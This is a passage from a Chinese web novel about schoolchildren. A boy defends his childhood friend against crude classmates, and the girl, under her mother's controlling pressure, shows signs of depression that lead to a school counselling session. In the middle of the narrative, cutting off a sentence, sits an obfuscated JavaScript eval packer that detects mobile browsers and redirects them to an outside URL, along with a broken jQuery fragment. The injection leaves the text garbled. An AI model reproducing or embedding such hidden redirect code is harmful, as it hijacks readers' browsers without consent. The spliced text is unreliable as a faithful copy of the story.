后排的男生可惜道：“那还挺可惜，她长得挺好看，要是在我们班，也不知道她和时萱竹谁会是班花。”


    “我喜欢孟佳清那样的，看着乖巧，像邻家妹妹，成绩没我好，到时候我还能辅导她，时萱竹太高傲了，我不喜欢。”


    “那我和你不一样，孟佳清感觉没什么难度，都没考上一班，我喜欢时萱竹，她对所有人都淡淡的，如果对我一个人破例，很爽。”


    “哈哈，兄弟还是你会玩，我已经找人要了孟佳清企鹅号了，就等她同意。”


    每个人都家教不同，有的父母不在身边也能养成良好的品德和正确的三观，有的父母在身边如同虚设，也或许是父母的三观不正，孩子也早已腐透，甚至烂得发黑。


    龚凌谦放下笔，他第一次听到这么自信又恶俗的发言，林子大了什么鸟都有。


    “我说怎么有股臭味，原来是你们身上散发出来的。”龚凌谦转过身，表情似笑非笑。


    “天上掉屎不要拿嘴接，又臭又恶，你看你的鼻子，比格格巫的鼻子还厉害，油的发光，还有你，头发扎起来像个阿哥，这还好意思讨论别人，天天搁这儿幻想，把自己当金币呢。”


    要不是谢溪骂人的时候他学了几招，龚凌谦还说不出这么刻薄的话。


    周围看热闹的目光在三人打转，温和有礼的班长怒怼自信男，这谁能忍住不看。


    石鑫恼羞成怒，“什么意思啊龚凌谦，我又没说你，你急什么。”


    杨昊冷笑一声：“你这么急不会是你喜欢她们其中一个吧？你是班长，我们让你，你说你喜欢谁，我们不跟你抢。”


    龚凌谦的笑容渐渐消失，表情变得可怕，说：“少在这儿叽叽歪歪，随便议论女生说明你们人品不行，家教差，分班考只不过是一场语数外的小考试，要是考品德三观，你们连学校的门都进不了，而且.....”


    龚凌谦冷笑一声：“我的妹妹不需要你这种三流货色教，你离她远一点。”


    整个教室鸦雀无声，石鑫和杨昊的议论声不小，坐在倒数三排的时萱竹都能隐约听到，不过她不在乎，说了对方只会更加来劲，就像小学时旁边的男生揪她头发，她骂对方，对方揪的更频繁更用力。


    时萱竹从作业本里抬起头，龚凌谦给人的第一印象就是脾气好，此时却面若冰霜，眼神凶的吓人。


    杨昊和石鑫心虚地对视一眼，背后议论人被当事人的哥哥听到，脚趾尴尬地扣地。


    石鑫打着马虎：“哎呀这儿闹得，我们不知道孟佳清是你妹妹呀，不然我们肯定不说，是不是。”


    被杵了一拐子的杨昊立刻附和：“是啊是啊，是你妹妹我们肯定不乱说话。”


    龚凌谦没理他们，这种人根子已经烂了，说了也白说。


    下了晚自习，天已经黑了。


    龚凌谦提着孟佳清的书包，手里拿着孟佳清的智能手机，把石鑫的企鹅号拉黑。


    孟佳清嘴里咬着雪糕，踩着龚凌谦的影子一跳一跳的跟在身后，问他：“你今天在班上和人吵架了？”


    “嗯。”


    两个班教室离得近，还有小学共同好友传递信息，孟佳清知道这件事是迟早的事。


    龚凌谦搜索出杨昊的企鹅号，继续拉黑。


    孟佳清有些担忧地说：“下次不理他们就好了，说我又不会掉块肉，你刚去那个班级，万一他们欺负你怎么办？”


    “不会。”龚凌谦把手机塞进孟佳清书包里，转身看向孟佳清说：“有人说你你就骂回去，骂不回去就来找我。”


    “你要是骂不过怎么办？”


    “找老师。”


    龚凌谦也不怎么会骂人，决定以后有空就向谢溪学习学习，不然以后别人骂他他还要支支吾吾半天。


    孟佳清垂下眼眸，沉默半晌，问他：“万一，我是说万一，老师说‘为什么他们不说别人就说你，你自己就没问题吗’到时候怎么办？”


    “那就换个老师。”


    龚席赶上智能手机的风头，赚了不少，今年为学校捐了一层图书馆，龚凌谦想换个老师教并不难。


    孟佳清抿紧唇不说话，老师可以换，那妈妈呢？


    黄文仪最近像是疯了一样相亲，她不想上没日没夜的班，遇到熟人就把孟佳清和别人家的孩子作比较，如果别人家的孩子不如孟佳清，黄文仪就开始对孟佳清各方面一通贬低。


    孟佳清开始分不清爱和恨，如是果爱，为什么要不停地打压她贬低她。


    如果是恨，为什么要没日没夜的上班挣钱供她读书，把所谓的好东西留给她。


    “怎么了？不开心？”龚凌谦察觉到孟佳清的情绪，低声温哄：“你放心，有理的是我们，是他们烂，总会有老师明辨是非，不要在自己身上找问题，发生什么事有哥哥顶着，下一次他们要是找上你你直接骂他们就行。”


    孟佳清把雪糕棍丢进垃圾桶，深呼吸：“嗯，是他们不好。”


    孟佳清回到家，黄文仪已经把饭菜热好了。


    “回来了？快点吃饭，我今天买了鸭，给你炖了鸭汤，你多吃点。”


    除了鸭汤，还有凉拌折耳根，黄文仪给孟佳清盛了一碗饭，把筷子放在桌上。


    汤碗里的鸭汤飘着一层黄油，孟佳清还没吃就已经感受到一股鸭腥味在喉咙翻滚。


    黄文仪厨艺不算好，炒菜只知道油加盐，偶尔放点鸡精调味。


    炖鸡鸭汤品之类的就买一个便宜的调料包，其余的什么都不管，炖好后总会有股鸡鸭原始的味道，孟佳清说了很多次不爱吃，但黄文仪就爱给孟佳清炖。


    孟佳清坐在椅子上，一直夹凉拌折耳根，偶尔夹点鸭汤里的萝卜，根本不碰鸭子。


    黄文仪不满地说：“你怎么老吃折耳根，吃鸭啊，我给你炖了很久，来，吃这个鸡腿，好东西噢，我都舍不得吃，特意留给你的。”


    孟佳清把碗移开，“我不想吃。”


    夹着鸭腿的手还在向孟佳清碗里伸，“吃嘛，好东西，妈妈特意留给你的，快点吃，吃了腿腿好长高。”


    “我真不想吃。”


    黄文仪垮下脸，把鸭腿放回汤碗里，筷子啪的一声排在桌上，开始诉说着自己的痛：“我小时候想吃还吃不了，你外婆还骂我好吃鬼，现在我给你吃，你还不要，你看我给别人吃吗，就给你吃，还不是因为你是我女儿。”


    在黄文仪变脸的那一刻，孟佳清就知道她妈妈要说什么了。


    黄文仪重新把鸭腿夹起，孟佳清这次没再端着碗躲避，再躲避她就要挨打了。


    孟佳清对腥味格外敏感，鸭子进嘴的一瞬间，孟佳清忍不住干呕一声。


    “啧。”黄文仪不满地瞪着孟佳清，说：“让你吃还不是为你好，整的我要害你一样，你以为现在鸭子便宜吗，五六十块一只，跟老板讲半天价，如果不是为了你，我买都不买，还不识好人心。”


    孟佳清垂着头一言不发。


    没事的，再吃一口，这是妈妈花了钱花了很多时间做出来的。


    没事的孟佳清，再吃一口。


    最后一口...


    在黄文仪看不到的地方，白米饭变得又咸又苦，苦得压住了口腔里的鸭腥味。


    ——


    下课铃响了，龚凌谦站在二班的门口观察着孟佳清。


    最近孟佳清常常一个人坐在位置上发呆，看上去像是一朵被人吸干了生命力即将枯萎的花。


    “佳清，佳清！”


    龚凌谦喊了好几声孟佳清才回过神，“在想什么呢这么入神？”


    孟佳清看见龚凌谦，扯出一个笑容：“在想题呢。”


    孟佳清的笑像是一层模糊面具，眼神时而无神，让龚凌谦内心感到着急。


    他的妹妹不该是这样的。


    龚凌谦垂下眼眸，瞥到了桌上的作业本，全是红勾，有些是小学知识，没什么难度。


    学校有小卖部，龚凌谦把买来的雪糕递给孟佳清，回到教室拿起手机搜索。


    “妹妹经常发呆，眼神空洞，经常假笑，请问是什么原因。”


    网络上给出的意见褒贬不一，龚凌谦看得眼花缭乱。


    专业的事交给专业的人，龚凌谦拿着手机，第一次给龚凯发小作文。


    龚席凯在竹珍县，他的事业已经不满足在小小的县城里，已经开始往市里发展，在县里和市里来回跑。


    龚凯正检查着新的一批电子器械，之前的点读机已经过时了，龚凯开始大力发展平板和笔记本电脑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196066|197019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “叮咚！”


    龚凯点开手机，是他那不爱说话的儿子。


    龚凯第一次见儿子给他发这么大一串，但他时间有限，一目三行，只能看个大概。


    “我艹。”


    看到心里有病疑似抑郁症这几个字，龚凯心提到嗓子眼，发出尖锐的爆鸣声。


    曾经他一度认为抑郁症是孩子心里承受力差，是个人问题，但今年暑假一款自残游戏漫步在中学生的手机里，不少学生都跳楼轻生。


    有次龚凯急着赶路，刚好有个小孩死在他面前，把龚凯吓得当场晕了过去，后面很长一段时间都是小孩跳楼的画面，龚凯也成了家里第一个看心理医生的人。


    薛音华因此特意叮嘱过他，不要把龚凌谦逼得太紧，不然龚席会从乡下赶上来请他吃竹棍炒肉。


    血腥的场面又浮现在脑海中，龚凯的手颤颤巍巍地拨通电话。


    “喂？”


    “李校长，我是龚凌谦的爸爸龚凯，学校是不是还没心理咨询室，我想.......”


    龚凯花大价钱在市里请了个青少年心理医生，学校在医务室隔壁空出一个教室，贴上“心理咨询室”的门牌，两天就弄好了。


    二班班主任站在讲台上，拍了拍桌子：“安静！等会大课间我们就不去操场，在门口排好队，班长点完名就带着队伍去明德楼的心理咨询室。”


    按理说这应该是压力最大的高三和初三的优先，但资助人特意声明让初一的优先，高三初三只能往后排，早自习安排初一一班去了，现在轮到二班。


    下课铃响起，孟佳清混在班级的队伍里，心不在焉地跟着大部队。


    龚凌谦在医务室门口，一班已经全部检查完回去做操晨跑了，但他是班长，医务室是他爸资助的，只要不耽误学习老师不会管。


    二班队伍零零散散，龚凌谦一眼就看到了人群里的孟佳清。


    他手里拿着二班名单表，孟佳清的名字被他安排在了第一个。


    “给你。”


    两个班长交接，龚凌谦把名单给了二班班长许晴。


    “谢谢。”许晴接过名单，大声喊：“孟佳清！孟佳清在吗？”


    孟佳清举起手：“在。”


    许晴：“你第一个，先进去吧。”


    “好。”


    龚凌谦推开门，带着孟佳清往里走。


    心理咨询室是原木色的地板，地上铺着一层毛绒绒的地毯，浅绿色的布沙发，暖色的灯光，让人觉得舒适放松。


    金梧坐在旋转椅上，上半身穿着一件白色的修身衣服，下半身是浅咖色的宽松裤。


    “来啦～”


    金梧眼睛半弯着，余光瞟到龚凌谦，开玩笑地问：“你怎么来了？咋滴，怕我把你同学吃了？”


    孟佳清看了看面前的温柔姐姐，又看了看龚凌谦，感觉两个人很熟的样子。


    龚凌谦揉了揉鼻子：“我进来坐坐。”


    “哦哟～我这可是一对一，一对二那是另外的价钱，出去出去。”


    龚凌谦不死心，追问道：“我就在这儿坐着也不行吗？”


    金梧伸出食指摇了摇：“不可以哦，有个小美女就够分散我注意力了，再来一个，姐姐我的两只眼睛要不听使唤各自跑了。”


    “噗。”孟佳清抿着嘴不小心笑出了声。


    龚凌谦看了看孟佳清，给金梧使了个眼色。


    金梧闭上眼睛装瞎，“哎哟喂，困得我睁不开眼，眼睛花。”


    龚凌谦瘪瘪嘴，迈着小步伐，只能不情不愿地出了心理咨询室。


    室内只剩下两人，龚凌谦眼巴巴的在外面等着。


    二班的同学松松散散的站着，有些同学直接找了个干净的地坐着。


    “怎么这么久？”


    “不知道啊。”


    “我的物理还没弄清楚呢，早知道把书带下来。”


    因为学校的人多，金梧都是简单问问或者给张问答卷，根据每个人的状态和回答再做出相应的对策，每个人的时间都把控在三到十分钟之内。


    龚凌谦每过几分钟就看一眼时间，表情有些难看。


    都二十分钟了，怎么还没出来。


    咔嚓一声，门开了。